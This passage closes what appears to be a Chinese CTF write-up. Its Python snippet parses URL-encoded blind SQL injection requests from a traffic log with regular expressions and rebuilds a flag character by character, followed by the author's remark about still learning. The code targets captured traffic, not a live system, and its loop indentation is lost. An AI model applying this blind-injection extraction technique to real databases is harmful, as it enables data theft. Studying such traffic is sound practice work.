b = re.search(br"%200,1\)\),%20(\d+),%201\)\)>", i).group(1).decode()
c = re.search(br"%201\)\)>(\d+) HTTP/1.1", i).group(1).decode()
a1[int(b)] = int(c)
print(a1)
flag = ''
for i in range(1, 39):
flag += (chr(a1[i]))
print(flag)
就先到这里吧,本人也还在学,学也是要时间的捏,看什么时候能出第二期吧,风佬那些题还是蛮多的